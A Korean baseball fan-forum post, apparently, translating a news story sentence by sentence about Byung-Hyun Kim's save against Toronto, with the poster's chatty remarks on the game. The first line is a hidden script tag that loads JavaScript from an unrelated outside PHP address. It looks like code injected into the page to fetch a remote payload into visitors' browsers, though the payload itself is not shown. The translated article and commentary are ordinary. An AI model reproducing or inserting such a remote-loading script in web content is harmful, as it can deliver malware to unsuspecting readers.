<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>Kim allowed Frank Catalanotto's leadoff double, but bounced back to strike out Wells and then Delgado on a 3-2 pitch. After pinch-hitter Howie Clark was hit by a pitch, Hinske struck out looking on a 3-2 pitch.
김병현은 선두타자인 프랭크 카타라노토에게 2루타를 맞았지만, 웰스와 2-3 상황에서 델가도를 스트라잌 아웃 잡으면서 되살아났다. 대타 클락에게 몸에 맞는 공을 준 후에, 힌스키를 풀카운트 끝에 삼진을 낚았다.
It was Kim's third save in three chances.
김병현은 3번의 세이브 상황에서 모두 성공했다.
Boston manager Grady Little visited Kim before Delgado's at-bat and talked about walking him intentionally with first base open and one out. But Kim wouldn't have it.
보스턴 감독 그래디 리틀은 1아웃에 1루가 비었있었기 때문에 델가도를 맞아서 고의사구를 내줄
지 말지를 김과 의논하기 위해 잠시 마운드에 올라와서 김과 대화를 나눴다.
"I knew that he was the best hitter for Toronto. It was a situation where you probably needed to walk him, but as a closer I wanted to face him," Kim said through an interpreter. "It was situation where I needed to challenge him."
" 나는 델가도가 토론토에서 최고의 타자라는 걸 안다. 물론 그 상황은 아마도 볼넷이 더 필요할
지도 모른다. 하지만 팀의 마무리로써 나는 그와 정면승부하기를 원했다." 통역을 통해 김이
말했다.
" 내가 그와 맞서 도전할 필요가 있는 상황이었다."
Little wasn't about to order Kim to walk Delgado.
리틀감독은 김에게 델가도를 볼넷으로 보내라는 주문은 하지 않았다.
"With aggressiveness in his face and in his tone of voice I knew we were in for a contest, and that's exactly what it was," Little said. "It was one of those classic confrontations you see throughout a season."
" 나는 그러한 각박한 순간에 그의 표정과 목소리 톤에서 강한 공격성을 보았고, 그것이 정확히
주효했다. 리틀감독이 말했다. " 올 시즌을 통해 여러분들이 보았던 최고의 대결중의 하나가
아닌가 한다."
Catcher Doug Mirabelli said he's thrilled to have Kim as the closer.
포수 덕 미라벨리는 마무리로서 김이 있다는 건 정말 짜릿하다라고 말했다.
"He's so confident he almost has an arrogance, and that's what you want on the mound," Mirabelli said.
"그는 거의 거만에 가까울 정도로 매우 자신감에 차있다. 그리고 그것이야 말로 마운드에서
여러분들이 원하는 것이다." 라고 미라벨리는 말했다.
급히 번역한 거라 제대로 전달됐는지 모르겠네요..^^;;
아무튼 오늘 경기 보고 정말 심장이 한번쯤 고장은 안생겼나 진단 해 볼 필요가 있을 것 같네요.
오늘 경기로써 보스턴 팬들의 신뢰를 상당히 얻었다고 생각됩니다만...
보스턴 팬 게시판 가보니깐 정말 장난아니더군요...델가도 삼진 잡을 때는 온통 환호 천지였습
니다.. 이렇게 말이죠.,..
" WWWWWWWWWWWWWOOOOOOOOOOOOOOOOOOOOOWWWWWWWWWWWW"
^^ 그럼 엠바다 가족 여러분들 좋은 수요일 되시기를...헉;;목요일이구나....ㅡ..ㅡㅋㅋ
|
